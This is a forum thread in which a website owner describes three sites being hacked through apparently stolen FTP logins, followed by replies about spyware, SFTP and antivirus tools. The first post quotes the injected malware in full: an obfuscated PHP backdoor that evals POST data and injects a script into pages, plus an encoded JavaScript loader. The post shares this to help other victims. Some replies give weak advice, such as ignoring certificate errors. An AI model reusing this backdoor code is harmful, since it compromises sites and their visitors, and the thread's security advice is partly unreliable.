My sites were hacked last week (This may help if it happens to you)

27 replies
I wanted to share this with my subscribers first but in the end, you get to read it first here.

This happened last week and it took me a good 3 days to get things back to normal. My sites were hacked. Not one, not two but three!

In this post, I'll share with you what caused it, what I did to recover the sites, and what I did to prevent it from happening.

If you are in a hurry, here are the takeaways:

- backup your sites on a regular basis
- scan your PC with anti-virus and anti-spyware software regularly

I hope by sharing with you this story, you will know what to do if it happens to you (touch wood!?)

Here's the story.

SYMPTOMS
  • My sites were down with this error:
Parse error: syntax error, unexpected T_VARIABLE in /home/hosting/public_html/index.php on line 1
  • Upon checking, most of main PHP, HTML and JavaSript files are altered. The following lines are appended in the top section of PHP pages:

    <?php if(!function_exists('tmp_lkojfghx')){if(isset($_PO ST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL ',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2Nya XB0PjwhLS0gCmRvY3VtZW50LndyaXRlKHVuZXNjYXBlKCclM0N UUHNTc2NyU3NpZE5wdE5KbiUyMGNNN3NkNktyY1RQJTNEJTJGT kpuJTJGOWNNNzRUUCUyRTI0N1RQJTJFMiUyRTFOSm45Y003NSU yRmNNN2pxdWVkTnJTc3klMkVjTTdqc0hZJTNFJTNDJTJGU3NzV FBjdXZqcmlwdXZqdFNzJTNFJykucmVwbGFjZSgvVFB8TkpufEh ZfHV2anxkTnxTc3xkNkt8Y003L2csIiIpKTsKIC0tPjwvc2Nya XB0Pg=='));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).ch r(139))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$ v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos( $v,'document.write')))$s=str_replace($v,'',$s);}$s 1=preg_replace('#<script language=javascript><!-- \ndocument\.write\(unescape\(.+?\n --></script>#','',$s);if(stristr($s,'<body'))$s=preg_re place('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1);else if(($s1!=$s)||stristr($s,'</body')||stristr($s,'</title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($ b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_l kojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1]; } if(($a=@set_error_handler('tmp_lkojfghx2'))!=' tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?>
The following code is appended at the bottom of HTML and JS (Javascript) pages:
<!--
document.write(unescape('%3CTPsSscrSsidNptNJn%20cM 7sd6KrcTP%3D%2FNJn%2F9cM74TP%2E247TP%2E2%2E1NJn9cM 75%2FcM7jquedNrSsy%2EcM7jsHY%3E%3C%2FSssTPcuvjripu vjtSs%3E').replace(/TP|NJn|HY|uvj|dN|Ss|d6K|cM7/g,""));
-->
  • If you look closely, the files that have been hacked/changed carry the same timestamp (same date and time.) I believe the hackers use a program to make the changes.
POSSIBLE CAUSES
  • Three of my websites are hacked and coincidentally these are the sites I have done some uploading using FTP client Filezilla the night before. I suspect the hackers were using keylogger/spyware to steal my FTP logins. Then by using the info they steal, they login to my sites and appended the above code to my pages.
(NOTE: It was later confirmed that FTP communication was the cause as I tried updating a site using Filezilla and sure enough the site was hacked again the next day. The other two sites that were updated with online FTP are intact.)
  • I search on the Internet and found that many people have experienced the same problem but no solution found.
SOLUTIONS

Step 1:
There are two possible causes. Either your web server or your computer is hacked. Before you do anything, use Avira or Spybot S&D - free (www.safer-networking.org) to detect and remove any possible spyware from your computer.

You may want to scan your computer on a regular basis from now on.

Step 2:
Make sure you change your FTP passwords in cPanel first before anything else. To be sure I use online FTP (http://www.net2ftp.com) instead of Filezilla to edit/upload/rename files. I don't want my new passwords to be stolen via FTP communications again.

NOTE: There's a daily limit on transfer volume when you use Net2FTP. However, you can install net2ftp on your server.

Then take one of the steps below:

Step One: Do A Restore
  • Depending on your webhost, you can either do a restore of your website yourself or you have to ask the Support team to do it for you. In this step, you want to revert your website to the day before the site is hacked.
Step Two: Do It Yourself
  • If you don't have a backup from cPanel or webhost, you have no choice but to do this. This is the most time consuming one. By using a web based FTP client, upload all clean HTML and PHP pages (without the funny codes as shown above) from your own backup on your PC to your server. Of course, provided you have a mirror copy of your web pages.
  • If you don't, do this: Edit the affected files directly using Net2FTP.com online by removing the extra codes.

    I still find that using Net2FTP to download files to desktop and edit them with Dreamweaver, and then upload back to server using Net2FTP is faster.

  • For MySQL databases, I am not sure if I need to make any changes to rectify this problem. It seems that it's not affected.
  • Try NOT to use Filezilla to avoid passwords being stolen again by hackers.
Preventive Measures
  • Scan your computer using Spybot or Lavasoft (For anti-virus, do not use AVG Free, use Avira instead). Install firewall to protect your computer from being attacked by spyware or virus.

  • Backup your website on a regular basis using cPanel. Do backup as and when you have made changes. You can also use Wordpress plugin to automate the backup process. When your site is hacked, backups come in very handy. You will be very glad that you did.
There you go. It's has been a great experience to me as it has never crossed my mind that my sites would be hacked.
#hacked #sites #week
  • Profile picture of the author Web Dummie
    Thanks for the info. I'm always on guard for this.

    One of my first sites got hacked one time by the turkish hacker. If your here, ya got the web dummie!

    He just posted a link at the bottom of my page that I could not remove. I was with a small local host at that time that I believe was a reseller, and one of his customers had been doing something and left the wrong files chmoded to 777 and ended up screwing everyone this host had as clients.

    Live and learn

    Another semester worth of knowledge at IM U.
    {{ DiscussionBoard.errors[657338].message }}
  • Profile picture of the author abelacts
    People won't appreciate this info until it really happens to them. Me included.

    I was scouting for solutions when this happened but to no avail. Luckily, it could be solved just by removing the extra codes. If it were more complicated than that, I am dead. When you are under attack, you feel so helpless at times.
    {{ DiscussionBoard.errors[657357].message }}
  • Profile picture of the author alpalino
    thanks for sharing. I had a friend who had similar problem. I will send this to him.

    Thanks again.
    {{ DiscussionBoard.errors[657475].message }}
  • Profile picture of the author abelacts
    Originally Posted by ProductCreator View Post

    Personally I use the simple cpanel web ftp to upload my files. It's not powerful but it's easy.

    Also, I would suggest that anyone speaks to their host if their host allows them to increase permissions above 755 for folders and 644 for files. e.g. 777. There is simply no need for this.

    Third, install a soft firewall. A keylogger cannot transmit your passwords without attempting to initiate a connection to a server. Any good software should warn you about such new connections and ask you to accept or deny.
    Surprisingly, none of my files is 777 but the sites still got hacked. And I have a firewall installed but I was not warned of anything. Until now, I still don't know for sure if the spyware still on my PC.
    {{ DiscussionBoard.errors[657659].message }}
  • Profile picture of the author Rully
    Thanks for information Abel
    My blog also get hacked like that.

    Parse error
    : syntax error, unexpected '{' in /home/rullynu1/public_html/index.php on line 1

    it happened about 5 days ago. i tried to discuss with bloghosting provider,but they still can't give me solution.

    Sorry Abel, but still can't understand the solution above

    what should I do now? is there need to re upload index.php with original one?
    Signature

    {{ DiscussionBoard.errors[657710].message }}
  • Profile picture of the author abelacts
    Yes, just overwrite the affected files with original ones. Try not use Filezilla or the likes to upload. Use web based FTP (cPanel) instead. And change your FTP password.

    If your site remains "unattacked" for more than a day, then you are safe.

    Let me know if you still have questions.
    {{ DiscussionBoard.errors[657749].message }}
    • Profile picture of the author Floyd Fisher
      Originally Posted by abelacts View Post

      Yes, just overwrite the affected files with original ones. Try not use Filezilla or the likes to upload. Use web based FTP (cPanel) instead. And change your FTP password.

      If your site remains "unattacked" for more than a day, then you are safe.

      Let me know if you still have questions.
      Question: Have you tried scanning your computer lately.

      Also, have you tried other ftp programs such as core ftp, and check to see if ssl or ssh mode helps (these are secure modes, in case the hacker is doing packet sniffing)?
      {{ DiscussionBoard.errors[658193].message }}
      • Profile picture of the author abelacts
        Originally Posted by Floyd Fisher View Post

        Question: Have you tried scanning your computer lately.

        Also, have you tried other ftp programs such as core ftp, and check to see if ssl or ssh mode helps (these are secure modes, in case the hacker is doing packet sniffing)?
        Yes I have. It's set to daily scanning. But somehow it slipped. I might try secure FTP and see what happens.
        {{ DiscussionBoard.errors[660756].message }}
  • Profile picture of the author sbucciarel
    Banned
    bummer ... definitely need to get software/spyware that finds and removes that keylogger also, especially if you do online banking, online shopping, etc.
    {{ DiscussionBoard.errors[657766].message }}
  • Profile picture of the author stevenh512
    Sounds more likely to be a packet sniffer than a keylogger.. I know I never enter my FTP password in filezilla (it does have a site manager to store those kinds of things), but FTP is an unsecure protocol. Passwords are sent "in the clear" over the wire, so a man in the middle attack with a packet sniffer isn't too hard to do.

    If you can, use SCP instead (secure, SSH based file copying) or upload your files through CPanel (https://yoursite.com:2083 and ignore any certificate errors.. http is just as unsecure as ftp)
    Signature

    This signature intentionally left blank.

    {{ DiscussionBoard.errors[658102].message }}
  • Profile picture of the author anth.elias
    Spyware key loggers, and sniffers those are all bad things to have on your computer wither or not you have a website or not, because not only does it affect you sites and your bank account it also affects your identify.

    Here is a three step process plan that will keep you computer squeaky clean, that I have implemented on both my desk tops and my laptop, simple but effective.

    1. Download and install Malwarebytes, its free, run a full scan and it will find and remove any spyware and or adware or key loggers or any other scary stuff.
    2. Make sure that your windows firewall is enabled. Download and install the latest windows updates, if you want additional protection download Zone alarm you get a 15 free trial.
    3. Download and install Avast antivirus it is also free for home users.

    If you stick with that action plan your computer will be cleaner and run more efficiently.

    A note on Malwarebytes, even though it is free, I do recommend you purchase the product it's just a onetime fee for a life time of upgrades well worth the money.
    {{ DiscussionBoard.errors[658263].message }}
    • Profile picture of the author abelacts
      Originally Posted by aelias View Post

      Spyware key loggers, and sniffers those are all bad things to have on your computer wither or not you have a website or not, because not only does it affect you sites and your bank account it also affects your identify.

      Here is a three step process plan that will keep you computer squeaky clean, that I have implemented on both my desk tops and my laptop, simple but effective.

      1. Download and install Malwarebytes, its free, run a full scan and it will find and remove any spyware and or adware or key loggers or any other scary stuff.
      2. Make sure that your windows firewall is enabled. Download and install the latest windows updates, if you want additional protection download Zone alarm you get a 15 free trial.
      3. Download and install Avast antivirus it is also free for home users.

      If you stick with that action plan your computer will be cleaner and run more efficiently.

      A note on Malwarebytes, even though it is free, I do recommend you purchase the product it's just a onetime fee for a life time of upgrades well worth the money.
      Thanks for this info. I will act on these steps. Don't want leave anything to chances.
      {{ DiscussionBoard.errors[660759].message }}
  • Profile picture of the author abelacts
    IMPORTANT UPDATE: I used Malwarebytes to scan and found some spyware that was not detected by Avira and Spybot. I deleted them all and later I tested again to upload some files to a site with Filezilla. And guess what? Until now the site is intact. I believe I have cleaned the culprit from my PC! What a relief.

    Use Malwarebytes first thing if you have this problem.
    {{ DiscussionBoard.errors[673697].message }}
    • Profile picture of the author Howdie4U
      My entire computer program was hacked....I have Windows Vista HP...this
      program is missing and the connection to the network! What a mess!
      In trying to re-connect to the internet, I find the Wizard is not working
      as well - wizard will connect to the internet. At this point, my only choice
      is to restore the computer to its original state - how do you do this w/o
      internet connection?
      I hope someone on this forum as some good answers!

      Thanks,
      Howdie
      {{ DiscussionBoard.errors[1128109].message }}
  • Profile picture of the author seasoned
    net2ftp is actually LESS secure than filezilla. You want to AVOID the ability to do that sort of stuff via http, etc... fillezilla has two basic modes though:

    1. OLD FASHIONED STUPID, SNIFF MY PASSWORD MODE! This is called FTP!
    This is equivalent to the http conterpart HTTP!

    2. OLD FASHIONED, smarter, "KISS MY ..." MODE! This is called SFTP.
    This is equivalent to the http conterpart HTTPS!

    And when is the last time YOU used HTTP to transfer credit card info?

    Steve
    {{ DiscussionBoard.errors[1128470].message }}
  • Profile picture of the author TheNightOwl
    I see that seasoned has already said what I was going to say. Only better.

    If you do want to use an FTP-client, make sure you use SFTP (secure FTP).

    You might need to talk with your host about how to correctly configure it - which port to use, etc. Otherwise, the packet-sniffer is what's going to grab your login details.

    In the meantime, until you get that sorted and locked down, use the cPanel FTP interface, I guess.

    ---------

    Question: I use Filezilla and it seems to play up ocassionally with SFTP. I don't know if it's my host or Filezilla. Can anyone (who is more well-versed in security *hint*hint* seasoned) possibly recommend a reliable FTP client with good SFTP functionality?
    Signature
    {{ DiscussionBoard.errors[1129749].message }}
  • Profile picture of the author John Romaine
    I experienced the very same issue, except all of my sites suffered IFRAME injection attacks which were causing all sorts of dramas. Ended up being an infection on my local machine, which after trying numerous anti virus scanners and malware applications, could only be resolved by blowing it away and starting over.

    How did I get infected in the first place?

    I visited a non trustworthy site (doing keyword research) that launched a PDF file crawling with all sorts of nasties that in turn hijacked my machine.

    Any FTP activity resulted in the site being hijacked.

    ALWAYS keep adobe reader updated! and of course take other necessary precautions.

    At the end of the day it really comes down to smart browsing.
    Signature

    BS free SEO services, training and advice - SEO Point

    {{ DiscussionBoard.errors[1129830].message }}
    • Profile picture of the author luckystepho
      Blimey- I am such a technophobe that I wouldn't have a clue what to do if my sites are hacked... I am using Filezilla and never realised that this could happen. Thanks for the info- how do we back up Wordpress blogs on a regular basis?
      {{ DiscussionBoard.errors[1129897].message }}
  • Profile picture of the author wisecrone333
    I got hacked just two days ago - I found files to lotteries and new email addresses added in my cPanel - I didn't know what to do about it so contacted Hostgator and they changed my password for me, which seems to have stopped it, but as I am building and uploading sites all the time to that one host account should I use the sftp mentioned above, or be more vigilent in checking my computer for viruses and spyware?
    Signature
    Hire me to write your ebooks - Warriors get a discount: just check out the blog below for more details.
    Gran's tackling the world of IM - check out the blog here
    Understanding domestic violence, writing a book in just 8 hours and more can be found here
    {{ DiscussionBoard.errors[1130009].message }}
    • Profile picture of the author Howdie4U
      Hi -

      But with no internet connection - how can you restore your
      computer? I have tried using my backup CD...which also
      doesn't work.....the hijacker did a perfect job - it is VERY
      annoying!

      thanks,
      howdie
      {{ DiscussionBoard.errors[1131238].message }}
    • Profile picture of the author TimP
      There have been about 130,000 sites hacked in the last week. If you are having any problems with yours, you probably need to check on this.

      To keep my sites safe, first of all I avoid using windows whenever possible. If you must use windows, it is a lot safer to use a program like VMware. You can set up a separate instance of windows that you can do surfing and e-mail in, and if that instance gets a virus, you can erase it and start over. You can then do your site updates and other sensitive work in a windows instance that is never used for surfing, and is a lot less likely to get infected.

      Websites can also have their own vulnerabilities. If you really depend on your web site for your income, you should really consider having your site scanned regularly for anything there that could be hacked.
      {{ DiscussionBoard.errors[1131248].message }}

Trending Topics